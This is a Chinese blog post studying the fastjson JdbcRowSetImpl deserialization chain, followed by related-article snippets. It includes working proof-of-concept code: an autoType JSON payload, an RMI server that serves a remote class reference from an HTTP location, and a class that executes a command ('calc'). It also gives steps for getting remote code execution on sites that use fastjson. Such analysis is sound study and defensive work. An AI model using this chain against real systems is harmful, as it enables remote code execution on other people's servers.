fastjson反序列化-JdbcRowSetImpl利用链

JdbcRowSetImpl利用链

fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs.com)

这里涉及了JNDI与RMI的概念。

其本质为JNDI注入。

附上示例代码

JdbcRowSetImplPoC.java

  1. package org.lain.poc.poclist;
  2. import com.alibaba.fastjson.JSONObject;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. /**
  5. * @author: ZH3FENG
  6. * @Date: 下午7:53 2017/12/11
  7. * @Modified By:
  8. * @Description: Gadget com.sun.rowset.JdbcRowSetImpl
  9. *
  10. * setAutoCommit() -> connect() -> InitialContext.lookup()
  11. */
  12. public class JdbcRowSetImplPoC {
  13. public static void testJdbcRowSetImpl(String dataSourceName){
  14. ParserConfig config = new ParserConfig();
  15. config.setAutoTypeSupport(true);//
  16. String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
  17. + "\"dataSourceName\":\"" + dataSourceName + "\","
  18. + "\"autoCommit\":\"true\"}";
  19. System.out.println(payload);
  20. try{
  21. JSONObject.parse(payload,config);
  22. }catch (Exception e){
  23. e.printStackTrace();
  24. }
  25. }
  26. }

RMIServer.java

  1. package org.lain.poc.jndi;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.Reference;
  4. import java.rmi.registry.LocateRegistry;
  5. import java.rmi.registry.Registry;
  6. /**
  7. * @author: lanqihe
  8. * @Date: 下午8:01 2017/12/11
  9. * @Modified By:
  10. * @Description: 本地注册一个register,并将恶意的类绑定
  11. */
  12. public class RMIServer {
  13. public static void main(String argv[]) {
  14. try {
  15. Registry registry = LocateRegistry.createRegistry(1090);
  16. //如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取
  17. //因此,本地测试的话,如果factory正确,factoryLocation随便填
  18. //把一个对象绑定到rmi注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到了
  19. Reference reference = new Reference("EvilObject",
  20. "org.lain.poc.jndi.EvilObjectFactory",
  21. "http://localhost:9999/" );
  22. //客户端通过evil查找,获取到EvilObject
  23. registry.bind("evil", new ReferenceWrapper(reference));
  24. System.out.println("Ready!");
  25. System.out.println("Waiting for connection......");
  26. } catch (Exception e) {
  27. System.out.println("RMIServer: " + e.getMessage());
  28. e.printStackTrace();
  29. }
  30. }
  31. }

EvilObject.java

  1. package org.lain.poc.jndi;
  2. import java.io.IOException;
  3. /**
  4. * @author: ZH3FENG
  5. * @Date: 上午10:18 2017/12/12
  6. * @Modified By:
  7. * @Description: 模拟一个恶意类,静态代码块执行命令
  8. */
  9. public class EvilObject {
  10. public EvilObject(){
  11. System.out.println("Hi!");
  12. }
  13. /**
  14. * 简单的命令执行
  15. */
  16. static {
  17. try {
  18. Runtime.getRuntime().exec("calc");
  19. }catch (IOException e){
  20. //ignore
  21. }
  22. }
  23. }

我们在JSONObject.parse方法下断点调试

还是调用了parse.Object,步入

调用deserialze方法,进行反序列化

接下来会对JdbcRowSetImpl进行 初始化

在调用完构造函数后,parseObject还会去调用set方法。

根据poc的字段,可以在setDataSourceName与setAutoCommit下断点。

发现确实调用了这两个函数,在setDataSourceName方法中设置了数据源,setAutoCommit方法中,调用了connect方法。

connect方法

lookup方法

decodeObject中就是解析reference,之后调用getOnjectInstance去实例化对象。

调用流程总结:

具体利用方法:

Fastjson反序列化漏洞利用 - 简书 (jianshu.com)

搭建一个rmi服务器和一个http服务器

将exp类部署到http服务器上。

如果目标网站存在fastjson包,且有json格式数据的输入点。则可以构造json数据,达到远程调用http服务器上的类,造成命令执行。

fastjson反序列化-JdbcRowSetImpl利用链的更多相关文章

  1. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  2. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  3. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

  4. fastjson反序列化JdbcRowSetImpl

    Gadget com.sun.rowset.JdbcRowSetImpl setAutoCommit() -> connect() -> InitialContext.lookup() p ...

  5. TemplatesImpl利用链

    FastJson利用链 Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面 ...

  6. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  7. fastjson反序列化漏洞实际案例利用

    fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...

  8. ThinkPHP5.1 反序列化利用链

    笔记里直接复制出来的   1 composer直接获取框架代码   ➜  composer create-project --prefer-dist topthink/think tp5137 ➜  ...

  9. Java基础/利用fastjson反序列化json为对象和对象数组

    利用fastjson反序列化json为对象和对象数组 利用 fastjosn 将 .json文件 反序列化为 java.class 和 java.util.List fastjson 是一个性能很好的 ...

随机推荐

  1. k8s笔记0528-基于KUBERNETES构建企业容器云手动部署集群记录-2

    三.ETCD集群部署 类似于走zookeeper集群分布式协调服务,可做以key v形式存储在ETCD中. 官方链接:https://github.com/coreos/etcd 分布式kv存储,为分 ...

  2. 搭建私服仓库:(一)Windows安装Nuxus

    Nexus下载 官网.官网下载.百度云盘 提取码:su33 将nexus下载下来,以2.14.5的windows版本为例子(3.x暂时下载不下来,迅雷会员都不行) 下载后进行解压,得到以下目录: 其中 ...

  3. windows下nodejs正确安装方式

    ​ 下载安装包: 32 位安装包下载地址 : https://nodejs.org/dist/v4.4.3/node-v4.4.3-x86.msi 64 位安装包下载地址 : https://node ...

  4. Abp Vnext3 vue-admin-template(一用户登录)

    Git地址https://github.com/PanJiaChen/vue-admin-template/blob/master/README-zh.md 官方文档https://panjiache ...

  5. linux 下 I/O 多路复用初探

    本文内容整理自B站up主 free-coder 发布的视频:[并发]IO多路复用select/poll/epoll介绍 引入 一般来讲,服务器在处理IO请求(一般指的是socket编程)时,需要对so ...

  6. 【PHP数据结构】插入类排序:简单插入、希尔排序

    总算进入我们的排序相关算法的学习了.相信不管是系统学习过的还是没有系统学习过算法的朋友都会听说过许多非常出名的排序算法,当然,我们今天入门的内容并不是直接先从最常见的那个算法说起,而是按照一定的规则一 ...

  7. ECShop 文章添加缩略图功能

    为 ECShop 文章添加缩略图     ECShop 文章不包含缩略图比较遗憾,不过它的文章里包含一个附件上传,而且一般不会用到,这样,我们就可以改动一下,让它成为缩略图. 首先在 includes ...

  8. 虚拟机乌班图系统安装 VMware tools 工具

    在VMware虚拟机中安装完毕Linux操作系统之后,我们经常会发现桌面不能全屏显示或者windows主机系统与linux操作系统之间无法创建共享文件夹.这是因为我们还没有安装VMware tools ...

  9. html网页乱码

    html乱码原因与网页乱码解决方法   html乱码原因与网页乱码解决方法,浏览器浏览网页内容出现乱码符合解决篇(html中文乱码) 造成html网页乱码原因主要是html源代码内中文字内容与html ...

  10. WPF进阶技巧和实战04-资源

    资源集合 每个元素都有Resources属性,该属性存储了一个资源字典集合(它是ResourceDictionary类的实例).资源集合可以包含任意类型的对象,并根据字符串编写索引. 每个元素既可以访 ...